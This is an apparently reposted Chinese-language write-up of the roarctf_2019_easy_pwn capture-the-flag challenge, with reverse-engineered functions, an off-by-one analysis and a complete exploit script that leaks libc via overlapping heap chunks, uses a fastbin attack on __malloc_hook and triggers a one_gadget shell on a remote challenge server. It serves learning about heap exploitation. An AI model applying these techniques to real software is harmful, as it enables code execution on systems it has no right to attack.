roarctf_2019_easy_pwn


常規檢查

逆向分析

Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice: 

create 函數

    *(&unk_202040 + 4 * i) = 1;
    *(&unk_202044 + 4 * i) = v4;
    qword_202048[2 * i] = v5;

  • *(&unk_202040 + 4 * i):置 1 記錄 chunk 已創建
  • *(&unk_202044 + 4 * i):存放 chunk 的大小
  • qword_202048[2 * i]:存儲 chnk 的地址

write 函數

    v4 = sub_E26(*(&unk_202044 + 4 * v3), v2);
    printf("content: ");
    v2 = sub_D92(qword_202048[2 * v3], v4);

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return result;
}
  • sub_E26(*(&unk_202044 + 4 * v3), v2):存在 off-by-one 漏洞
  • sub_D92(qword_202048[2 * v3], v4):將 v4 字節大小的內容寫入 qword_202048[2 * v3] 對應的塊地址。

drop 函數

    *(&unk_202040 + 4 * v0) = 0;
    *(&unk_202044 + 4 * v0) = 0;
    free(qword_202048[2 * v0]);
    qword_202048[2 * v2] = 0LL;
  • 將記錄 chunk 創建的 1 置 0 。
  • 將記錄 chunk 的大小置 0。
  • free 掉對應的 chunk 。
  • 將存儲的 chunk 指針置 0。

show 函數

      printf("content: ", v2);
      LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *(&unk_202044 + 4 * SHIDWORD(v2)));
  • 打印 qword_202048[2 * SHIDWORD(v2)] 對應塊的 *(&unk_202044 + 4 * SHIDWORD(v2) 個字節的內容。

利用思路

  • off by one 泄露 main_arena 地址,從而計算 其他 libc 函數地址
  • 遷移 top chunk 防止其與 uaf 的 fastbin 合並
  • fastbin attack 任意寫
  • 利用 realloc_hook 達成 one_gadget 條件

exp 腳本

from pwn_debug import *

pdbg = pwn_debug('./roarctf_2019_easy_pwn')
pdbg.local()
pdbg.remote('node3.buuoj.cn',25308)
io = pdbg.run('remote')
libc = pdbg.libc

def add(size):
    io.recvuntil('choice: ')
    io.sendline('1')
    io.recvuntil('size:')
    io.sendline(str(size))

def edit(index,size,data):
    io.recvuntil('choice: ')
    io.sendline('2')
    io.recvuntil('index:')
    io.sendline(str(index))
    io.recvuntil('size:')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(data)

def free(index):
    io.recvuntil('choice: ')
    io.sendline('3')
    io.recvuntil('index:')
    io.sendline(str(index))

def show(index):
    io.recvuntil('choice: ')
    io.sendline('4')
    io.recvuntil('index:')
    io.sendline(str(index))   

add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
free(1)
add(0xa8)#1
edit(1,0x20,'a'*0x18+p64(0x91))#設置 chunk 2 的大小為 small bin
free(2)
show(1)    #泄露 main_arena 的地址
io.recvuntil('content: ')
io.recv(0x20)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a

#gdb.attach(io)

edit(4,50,'a'*0x28+p8(0xa1))
free(5)    #遷移 top chunk ,防止 free chunk 6 的時候 chunk 與 top chunk 合並
free(6)
add(0x98)#2

edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #fastbin attack 任意地址寫

add(0x68)#5
add(0x68)#6
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16)) #利用 ralloc_hook 改變棧環境達成 one_gadget 的條件
#gdb.attach(io)
add(0x10)
io.interactive()

內容來源

【pwn】roarctf_2019_easy_pwn


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM